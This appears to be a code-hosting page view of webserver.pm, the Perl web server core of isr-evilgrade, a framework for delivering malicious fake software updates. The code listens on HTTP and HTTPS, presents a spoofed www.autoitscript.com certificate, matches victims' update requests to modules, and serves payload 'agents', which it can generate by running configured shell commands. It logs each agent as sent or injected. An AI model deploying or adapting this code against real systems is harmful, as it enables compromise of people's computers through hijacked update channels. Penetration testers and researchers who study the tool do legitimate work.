PageRenderTime 28ms CodeModel.GetById 0ms RepoModel.GetById 0ms app.codeStats 0ms

/isrcore/webserver.pm

http://isr-evilgrade.googlecode.com/
Perl | 589 lines | 366 code | 94 blank | 129 comment | 38 complexity | c25532260ba1276df7a49f8ab6615c2f MD5 | raw file
Possible License(s): GPL-2.0
  1. ###############
  2. # webserver.pm
  3. #
  4. # Copyright 2010 Francisco Amato
  5. #
  6. # This file is part of isr-evilgrade, www.infobytesec.com .
  7. #
  8. # isr-evilgrade is free software; you can redistribute it and/or modify
  9. # it under the terms of the GNU General Public License as published by
  10. # the Free Software Foundation version 2 of the License.
  11. #
  12. # isr-evilgrade is distributed in the hope that it will be useful,
  13. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  14. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  15. # GNU General Public License for more details.
  16. #
  17. # You should have received a copy of the GNU General Public License
  18. # along with isr-evilgrade; if not, write to the Free Software
  19. # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  20. #
  21. # '''
  22. ##
  23. package isrcore::webserver;
  24. use strict;
  25. use Errno qw( EAGAIN );
  26. #external modules
  27. use IO::Socket;
  28. use IO::Socket::SSL;
  29. use IO::Select;
  30. use isrcore::utils;
  31. use POSIX ":sys_wait_h";
  32. use Data::Dump qw(dump);
  33. $SIG{INT} = sub { die "$$ dying\n" };
  34. sub catch_zap {
  35. my $signame = shift;
  36. return 1;
  37. }
  38. $SIG{HUP} = \&catch_zap; # best strategy
  39. my $base=
  40. {
  41. 'port' => 80,
  42. 'sslport' => 443,
  43. 'request' => "",
  44. 'users' => undef,
  45. 'current' => undef,
  46. 'error' => "",
  47. 'whoami' => "WEBSERVER",
  48. };
  49. ##########################################################################
  50. # FUNCTION new
  51. # RECEIVES
  52. # RETURNS
  53. # EXPECTS
  54. # DOES class's constructor
  55. sub new {
  56. my $class = shift;
  57. my $self = {'Base' => $base, @_ };
  58. return bless $self, $class;
  59. }
  60. ##########################################################################
  61. # FUNCTION start
  62. # RECEIVES [shellzobj]
  63. # RETURNS
  64. # EXPECTS
  65. # DOES start webserver
  66. sub start {
  67. my $self = shift;
  68. my $shellz = shift;
  69. #ignore child process avoid zombies.
  70. $SIG{CHLD} = 'IGNORE';
  71. #create socket
  72. my $listen_socket = IO::Socket::INET->new(LocalPort => $self->{'Base'}->{'port'},
  73. Listen => 10, Proto => 'tcp', Reuse => 1);
  74. my $ssl_socket = IO::Socket::INET->new(LocalPort => $self->{'Base'}->{'sslport'},
  75. Listen => 10, Proto => 'tcp', Reuse => 1);
  76. # verify socket status
  77. if (!$listen_socket ){
  78. $self->{'Base'}->{'error'} = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening socket: $@";
  79. return;
  80. }
  81. if( !$ssl_socket ){
  82. $self->{'Base'}->{'error'} = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening SSL socket: " . &IO::Socket::SSL::errstr . "\n";
  83. return;
  84. }
  85. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - Webserver ready. Waiting for connections ...\n");
  86. # waiting for connection
  87. my $rset = new IO::Select();
  88. $rset->add($listen_socket);
  89. $rset->add($ssl_socket);
  90. while(my ($any_reader) = IO::Select->select($rset, undef, undef)){
  91. my $nsock;
  92. foreach $nsock (@$any_reader){
  93. if( $nsock == $listen_socket ){
  94. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - WebServer Client on " . $self->{'Base'}->{'port'} . "\n" );
  95. my $connection = $listen_socket->accept;
  96. $self->accept_client($shellz,$connection,$listen_socket,0);
  97. }
  98. elsif( $nsock == $ssl_socket){
  99. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - (SSL) WebServer Client on " . $self->{'Base'}->{'sslport'} . "\n" );
  100. my $connection = $ssl_socket->accept;
  101. $self->accept_client($shellz,$connection,$ssl_socket,1);
  102. }
  103. }
  104. }
  105. }
  106. ##########################################################################
  107. # FUNCTION accept_client
  108. # RECEIVES shellz , client sock, server sock, ssl_opt ( 1=true, 0=false)
  109. # RETURNS
  110. # EXPECTS
  111. # DOES Accept client. Fork and promote to ssl if required. This could be avoided using just IO::Socket::SSL->new,
  112. # buts , its recommended to promote on fork as specs suggests.
  113. sub accept_client
  114. {
  115. my $self=shift;
  116. my $shellz=shift;
  117. my $connection=shift;
  118. my $listener=shift;
  119. my $promote_ssl = shift;
  120. my $child;
  121. # create fork
  122. die "[FATAL] Can't fork: $!" unless defined ($child = fork());
  123. if ($child == 0){ #child
  124. # close listen port
  125. $listener->close( );
  126. if( ref($connection) eq "IO::Socket::SSL" or $promote_ssl ) {
  127. $connection = IO::Socket::SSL->start_SSL( $connection,
  128. SSL_startHandshake => 0,
  129. SSL_server => 1,
  130. SSL_verify_mode => 0x00,
  131. SSL_cert_file => 'certs/www.autoitscript.com-cert.pem',
  132. SSL_key_file => 'certs/www.autoitscript.com-key.pem',
  133. SSL_passwd_cb => sub {return "test"}, );
  134. if( !$connection->accept_SSL() ) {
  135. exit 0;
  136. }
  137. }
  138. else{
  139. $listener->close();
  140. }
  141. $|=1; #TODO: usar pipe
  142. # #call response function
  143. $self->response($shellz,$connection);
  144. exit 0;
  145. }
  146. else{ #father
  147. # #Connection information
  148. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [".$connection->peerhost."] - Connection recieved... \n",1);
  149. # Close connection.
  150. if( ref($listener) eq "IO::Socket::SSL") {
  151. $connection->close(SSL_no_shutdown => 1);
  152. }
  153. else{
  154. $connection->close();
  155. }
  156. }
  157. }
  158. ##########################################################################
  159. # FUNCTION loadconfig
  160. # RECEIVES
  161. # RETURNS
  162. # EXPECTS
  163. # DOES load webserver configuration
  164. sub loadconfig{
  165. my $self=shift;
  166. my $config=shift;
  167. #general webserver
  168. $self->{'Base'}->{'port'}=$config->{'Base'}->{'options'}->{'port'}->{'val'};
  169. $self->{'Base'}->{'sslport'}=$config->{'Base'}->{'options'}->{'sslport'}->{'val'};
  170. my $i=0; #number of modules
  171. #modules configuration
  172. my @current;
  173. my @request;
  174. # delete old active modules
  175. delete($self->{'current'});
  176. foreach my $name (keys %{$config->{'modules'}}){
  177. my $module = $config->{'modules'}->{$name};
  178. #Verify enable module
  179. if ($module->{'Base'}->{'options'}->{'enable'}->{'val'} == 1) {
  180. my $check = $self->loadmodule($module);
  181. return "(*) [Module:$name] $check" if ($check !=1);
  182. push(@current,$name);
  183. push(@request,$module);
  184. $i++;
  185. }
  186. }
  187. return "[$self->{'Base'}->{'whoami'}] - (*) You didn't have any active module\n" if ($i==0);
  188. $self->{'current'}= \@current;
  189. $self->{'request'}= \@request;
  190. return 1;
  191. }
  192. ##########################################################################
  193. # FUNCTION loadmodule
  194. # RECEIVES
  195. # RETURNS
  196. # EXPECTS
  197. # DOES module's loader
  198. sub loadmodule {
  199. my $self =shift;
  200. my $module =shift;
  201. local *FILE;
  202. my $error;
  203. #TODO: Checkear en caso de ejecucion, tambien size
  204. my $agent = $module->{'Base'}->{'options'}->{'agent'}->{'val'};
  205. ($agent,undef,undef,undef,$error) = $self->checkagent($agent);
  206. return "Agent ($agent) did not exists\n" if ($error);
  207. #Agent size
  208. my $agentsize = -s $agent;
  209. $module->{'Base'}->{'options'}->{'agentsize'}->{'val'} =$agentsize;
  210. my ($digest,$merror) = isrcore::utils::getmd5($agent);
  211. $module->{'Base'}->{'options'}->{'agentmd5'}->{'val'} =$digest;
  212. my ($digest,$merror) = isrcore::utils::getsha256($agent);
  213. $module->{'Base'}->{'options'}->{'agentsha256'}->{'val'} =$digest;
  214. foreach my $request (@{$module->{'Base'}->{'request'}}){
  215. if($request->{'type'} eq 'file'){
  216. open(FILE, '<'.$request->{'file'}) || return "[$self->{'Base'}->{'whoami'}] - (*) Filename $request->{'file'} did not exists\n";
  217. close(FILE);
  218. }
  219. }
  220. return 1;
  221. }
  222. ##########################################################################
  223. # FUNCTION stop
  224. # RECEIVES
  225. # RETURNS
  226. # EXPECTS
  227. # DOES stop webserver
  228. sub stop{
  229. my $self=shift;
  230. kill HUP => $self->{'Base'}->{'child'};
  231. $self->{'Base'}->{'child'}=0;
  232. delete($self->{'current'}); #delete current modules
  233. return;
  234. }
  235. ##########################################################################
  236. # FUNCTION status
  237. # RECEIVES
  238. # RETURNS
  239. # EXPECTS
  240. # DOES webserver status
  241. sub status{
  242. my $self = shift;
  243. if ($self->{'Base'}->{'child'} && waitpid($self->{'Base'}->{'child'},WNOHANG) != -1){
  244. return 1;
  245. } else {
  246. $self->{'Base'}->{'child'}=0;
  247. return 0;
  248. }
  249. }
  250. ##########################################################################
  251. # FUNCTION response
  252. # RECEIVES shellzobj,client's socket
  253. # RETURNS
  254. # EXPECTS
  255. # DOES process webserver's request
  256. sub response{
  257. my $self = shift;
  258. my $shellz = shift;
  259. my $socket = shift;
  260. ## print dump ($socket);
  261. my $clientip=$socket->peerhost;
  262. my $buff = <$socket>;
  263. # my $keep; #keep-alive connection
  264. # $shellz->printshell("Certificate: ".$socket->peer_certificate("subject") ."\n",1);
  265. $buff =~ /^[\w]+[ \t]+([\S ]+)[\t ]+HTTP\/[\d]\.[\d]\r\n$/i; #Get request
  266. my $creq =$1;
  267. ##### Add method
  268. $buff =~ /^([\w]+)[ \t]+[\S ]+[\t ]+HTTP\/[\d]\.[\d]\r\n$/i; #Get request
  269. my $method =$1;
  270. #$shellz->printshell("[$self->{'Base'}->{'whoami'}] -[$clientip] - METHOD: ".dump($method)."\n",1);
  271. #### fin add method
  272. my $vh="novirtual";
  273. $shellz->printshell("[$self->{'Base'}->{'whoami'}] -[$clientip] - Packet request: ".dump($buff)."\n",1);
  274. #TODO: ver timeout socket
  275. while( $buff = <$socket> ){ #Get headers
  276. print dump($buff);
  277. if ($buff =~ /^\r\n$/){
  278. last;
  279. }
  280. if ($buff =~ /^host\:[ \t]+([\.\w-_]+)[\r\:\d\n]+$/i){ #TODO: arreglar esto, esta feo (duplicacion)
  281. $vh = $1;
  282. }elsif($buff =~ /^host\:([\.\w-_]+)[\r\:\d\n]+$/i){
  283. $vh = $1;
  284. }
  285. }
  286. # TODO: ver que pasa con los tipos de updates que no es 80 standard
  287. # print "VM = ($vh), CREQ = ($creq)\n";
  288. if (!$vh && !$creq){ #if didn't get vm
  289. $socket->close;
  290. return;
  291. }
  292. #Recorrer los request
  293. foreach my $module (@{$self->{'request'}}){
  294. next if ($module->{'Base'}->{'vh'} !~ $vh); #goto next vh if it's different to client virtualhost
  295. my $req = $module->{'Base'}->{'request'};
  296. foreach my $item (@{$req}){
  297. # print dump($item);
  298. if ($creq =~ /$item->{'req'}/){ #compare client request with module request
  299. if (defined($item->{'vh'}) && $vh !~ $item->{'vh'}){ #if vh is different than internal request virtual host go to next
  300. next ;
  301. }
  302. if ($item->{'method'} ne "" && $method !~ $item->{'method'}){ #if vh is different than internal request virtual host go to next
  303. next ;
  304. }
  305. my $modname=ref ( $module );
  306. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Request: ".dump($item->{'req'})."\n");
  307. $shellz->sendcommand("<acc><action>update</action><module>$modname</module><ip>$clientip</ip></acc>\n");
  308. my ($header,$cmd,$md5,$sha256);
  309. my $file=$item->{'file'};
  310. #If it's agent type set correct file
  311. $file=$module->{'Base'}->{'options'}->{'agent'}->{'val'} if ($item->{'type'} eq 'agent');
  312. #set request option
  313. $module->{'Base'}->{'options'}->{'request'}->{'val'}=$creq;
  314. # print dump($module);
  315. local *REQ;
  316. if ($item->{'bin'} == 1){ #binary request
  317. #check agent type
  318. ($file,$cmd,$md5,$sha256) = $self->checkagent($file,$shellz,1);
  319. open (REQ, $file) || die "[FATAL] - [$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Can't open file ($file)";
  320. binmode(REQ); #windows compatibily
  321. $header = getheader(undef,$file,$item,$module);
  322. print $socket $header;
  323. my $read_status = 1;
  324. my $print_status = 1;
  325. my $chunk;
  326. #read and send binary information
  327. while( $read_status && $print_status ){
  328. $read_status = read (REQ, $chunk, 1024);
  329. if( defined $chunk && defined $read_status){
  330. $print_status = print $socket $chunk;
  331. }
  332. undef $chunk;
  333. }
  334. close REQ;
  335. }elsif ($item->{'type'} =~ /^string|install$/ ) { #string type
  336. my $data=$item->{'string'};
  337. if ($item->{'parse'} eq "1"){
  338. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Parsing: ". dump($item->{'string'})."\n",1);
  339. $data = $self->parsedata($data,$module);
  340. }
  341. $header = getheader($data,undef,$item,$module);
  342. print $socket $header;
  343. print $socket $data;
  344. }else{ #textplain request
  345. open(REQ,$file) || die "[FATAL] - [$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Can't open file ($file)";;
  346. my $data = join(/\n/,<REQ>);
  347. close(REQ);
  348. if ($item->{'parse'} eq "1"){
  349. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Parsing: ". dump($item->{'file'})."\n",1);
  350. $data = $self->parsedata($data,$module);
  351. }
  352. $header = getheader($data,undef,$item,$module);
  353. print $socket $header;
  354. print $socket $data;
  355. }
  356. if ($item->{'type'} eq 'agent') { #agent sent
  357. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Agent sent: ". dump($file)."\n");
  358. $shellz->sendcommand("<acc><action>sent</action><module>$modname</module><ip>$clientip</ip><md5>$md5</md5><sha256>$sha256</sha256><cmd>$cmd</cmd><file>".dump($file)."</file></acc>\n");
  359. }elsif($item->{'type'} eq 'install'){
  360. $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Agent injected\n");
  361. $shellz->sendcommand("<acc><action>installed</action><module>$modname</module><ip>$clientip</ip></acc>\n");
  362. }
  363. # if ($item->{'keep'}){
  364. # $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - LOOP \n");
  365. # $keep = 1;
  366. # }
  367. #before request
  368. $module->{'Base'}->{'options'}->{'brequest'}->{'val'}=$creq.1;
  369. last;
  370. }
  371. }
  372. }
  373. # if ($keep) {
  374. # my $info;
  375. # $shellz->printshell("[$self->{'Base'}->{'whoami'}] - inside keep $keep ($info)\n");
  376. #
  377. # while (1){
  378. # $info = <$socket>;
  379. # $shellz->printshell("[$self->{'Base'}->{'whoami'}] - inside keep $keep ($info)\n");
  380. # #$self->response($shellz,$socket);
  381. # }
  382. # }
  383. $socket->close;
  384. }
  385. ##########################################################################
  386. # FUNCTION checkagent
  387. # RECEIVES data,moduleobj
  388. # RETURNS "path",$cmd,md5,sha256, error
  389. # EXPECTS
  390. # DOES detect agent type, return or execute the custom agent generator
  391. sub checkagent {
  392. my $self = shift;
  393. my $agent = shift;
  394. my $shellz = shift;
  395. my ($cmd,$mret,$digest,$sha256,$error);
  396. $cmd="";
  397. if ($agent =~ /^\[([\w\W]+)\]$/){ #agent generation
  398. $cmd = eval($1); #Convert code in string
  399. $cmd =~ /\<\%OUT\%\>([\w\W]+)\<\%OUT\%\>/; #get output file
  400. my $out = $1; #output file
  401. $shellz->printshell("[$self->{'Base'}->{'whoami'}] Agent destination file ($out)\n",1) if ($shellz);
  402. $cmd =~ s/\<\%OUT\%\>//g; #clean execv
  403. $shellz->printshell("[$self->{'Base'}->{'whoami'}] Executing ($cmd)\n",1) if ($shellz);
  404. $mret = system($cmd);
  405. #$shellz->printshell("[$self->{'Base'}->{'whoami'}] Execution response: ($mret)\n",1) if ($shellz);
  406. $agent=$out;
  407. }
  408. ($digest,$error) = isrcore::utils::getmd5($agent);
  409. ($sha256,$error) = isrcore::utils::getsha256($agent);
  410. return ($agent,$cmd,$digest,$sha256,$error);
  411. }
  412. ##########################################################################
  413. # FUNCTION header
  414. # RECEIVES string,file,obj item request
  415. # RETURNS
  416. # EXPECTS
  417. # DOES parse data with option available
  418. sub getheader {
  419. my $string = shift;
  420. my $file = shift;
  421. my $item = shift;
  422. my $module = shift;
  423. my $header;
  424. my $size;
  425. if ($item->{'cheader'}){ #custom header detected
  426. $header .=$item->{'cheader'};
  427. if ($item->{'parse'} eq "1"){
  428. $header = parsedata(undef,$header,$module);
  429. }
  430. }
  431. else {
  432. if ($string){
  433. $size = length($string);
  434. }else{
  435. $size = -s $file; #TODO: check
  436. }
  437. $header .= "HTTP/1.0 200 OK\r\n";
  438. # $header .= "Date: Tue, 16 Feb 2010 03:56:52 GMT\r\n"; #
  439. # $header .= "Server: Microsoft-IIS/6.0\r\n";#
  440. # $header .= "Content-Type: text/html\r\n";#
  441. #$header .= "Accept-Ranges: bytes\r\n";#
  442. # $header .= "Content-Type: text/plain\r\n";#
  443. $header .= "Cache-Control: no-cache \r\n";
  444. $header .= "Pragma: no-cache \r\n";
  445. $header .= "Content-length: $size\r\n";
  446. # $header .= "Last-Modified: Sat, 22 Mar 2011 01:38:58 GMT\r\n";
  447. $header .= "Connection: close \r\n";
  448. $header .= "\r\n";
  449. #TODO: append header "aheader"
  450. }
  451. return $header;
  452. }
  453. ##########################################################################
  454. # FUNCTION parsedata
  455. # RECEIVES data,moduleobj
  456. # RETURNS
  457. # EXPECTS
  458. # DOES parse data with option available
  459. sub parsedata {
  460. my $self = shift;
  461. my $data = shift;
  462. my $module = shift;
  463. my $val;
  464. foreach my $option (keys %{$module->{'Base'}->{'options'}}){
  465. next if ($option eq "agent");
  466. my $uc=uc($option);
  467. $val=$module->{'Base'}->{'options'}->{$option}->{'val'};
  468. if ($module->{'Base'}->{'options'}->{$option}->{'dynamic'}){ # if it's a dynamic option do eval thing
  469. $val = eval($val);
  470. }
  471. $data =~ s/\<\%$uc\%\>/$val/g;
  472. }
  473. return $data;
  474. }
  475. 1;